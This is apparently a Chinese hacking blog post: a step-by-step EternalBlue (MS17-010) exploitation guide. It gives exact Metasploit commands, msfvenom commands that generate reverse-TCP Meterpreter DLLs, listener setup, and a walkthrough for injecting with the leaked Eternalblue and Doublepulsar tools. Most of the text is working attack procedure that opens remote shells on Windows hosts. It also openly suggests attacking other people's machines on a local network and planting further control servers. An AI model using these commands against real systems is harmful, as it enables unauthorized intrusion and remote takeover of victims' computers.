早就听说了大名鼎鼎的永恒之蓝漏洞,最近终于决定实战爽一爽了。
关于漏洞的成因,后面有时间专门找时间研究一下,到时候再把博客发出来。这里先利用shadowbrokers的“官方”漏洞poc程序exe进行exploit。然后Doublepulsar将meterpreter-shell的dll注入到远程主机的系统进程当中。
metaspolit当中可以很快的攻击:
在这里贴一下方法:
1、打开metaspolit
2、启动完成之后输入:
search eternalblue
3、因为我这里机器是win7的,所以选第二个。win8+的试试第三个。
use exploit/windows/smb/ms17_010_eternalblue show payloads
4、在出来的一堆payload里面选择你想要的。这里我选择Meterpreter反向shell:一定要对应系统架构!
x64:
set payload windows/x64/meterpreter/reverse_tcp
x86:
set payload windows/meterpreter/reverse_tcp
5、查看需要的参数
show options
6、按照上面要求填写目标主机地址RHOST、自己接收shell的主机地址LHOST(一般就是这个kali了,设置成自己kali当前的ip)。(真的可以说是 指哪打哪了!!)
set rhost 【目标地址】 set lhost 【接收反弹回来shell的主机地址】
7、输入
exploit
然后就看他的表演了~~~过一会shell就来了。
(截图只留了当时用cmdshell做payload的,用上面meterpretershell的话是出来是下面这样,都一样啦)
利用“官方工具”的方法:
首先下载漏洞poc:
https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
配置xml选项:
把里面的%选项都改成你要的值,一般就按照默认值填写就可以。差不多就是上图的结果,两个【】的内容按照目标机情况进行填写。第二个架构,要么是XP,要么是WIN72K8R2。可以先使用nmap工具扫扫确定是不是xp。
这样漏洞exp配置就ok了,我们还需要准备好恶意payload来获取权限。这里请出KALI-LINUX虚拟机,使用msf框架生成payload。这样生成好payload之后就可以交给Doublepulsar注入了。
(在开机的时候,注意调整虚拟机的网络连接选项,如果你是要用自己的电脑去打内网里别人的电脑,网络选项要选择桥接模式,然后在虚拟机里面将网络配置好,比如分配ip或者选dhcp。如果自己打自己的虚拟机体验的话,受害机是NAT的话KALI也要是NAT,或者两个都桥接也可。)
这里有很多种payload可以选。cmd-shell,meterpreter-shell。vncserver
在生成 dll 之前,咱首先要学习下 metasploit 中的 meterpreter 的几种类型:
meterpreter 就是一个跨平台的 shell,功能很强大,嘿嘿嘿。通常来说 meterpreter 有这么两种模式:正向和反向
bind:攻击者连接目标机器的模式,通常比较适合内网渗透,有时会被防火墙拦下,也就是常说的正向连接。
reverse:目标机连接攻击者的模式,基本上不会被防火墙阻拦。估计岁数大的小盆友们可能知道灰鸽子?这玩意就是反弹到攻击者的。这就是常说的反向连接。
当然,这俩还能够细分为 tcp、http、https
这里我们选择更保险的reverse反向连接
打开终端输入:
#32位
msfvenom -p windows/meterpreter/reverse_tcp RHOST=【接收shell主机地址】 LPORT=8089 -f dll >x86reverse.dll
#64位
msfvenom -p windows/x64/meterpreter/reverse_tcp RHOST=【接收shell主机地址】 LPORT=8089 -f dll >x64reverse.dll
这样在/root目录下就有了这个。复制到windows下。
在metaspolit当中配置shell接收:
set PAYLOAD windows/meterpreter/reverse_tcp
use exploit/multi/handler
set lhost 【接收shell主机地址,一般用当前kali地址】
set LPORT 8089
run
dll准备好了,可以打了!
在deps目录下新开一个cmd,直接Eternalblue-2.2.0.exe回车。
最后显示===WIN===之后,可以继续!不然就是受害机蓝屏了啥的。。等一会可以在搞他会重启。
不蓝屏的话,就可以继续了。
把x86reverse.dll / x64reverse.dll拷到deps目录,配置Doublepulsar-1.3.1.xml
然后 cmd里Doublepulsar-1.3.1.exe
注入dll。
注入之后可能会出现这个:
这毕竟是个内核ring0下的东西,有点差错就会有各种各样奇怪的错误。从注入dll之后开始计时。这样他1min之后会重启,但是你的shell还能用,所以可以抓紧上传其他的控制server。等他重启在接着打永恒之蓝,再出现这个的概率会小很多。
如果一切正常的话,被害机应该是毫无动静di。
这时候切换回kali,就发现shell已经来了。
开俩虚拟机有点卡,实际会比较快的。
然后剩下的操作,去查阅meterpreter用法即可。操作多多~~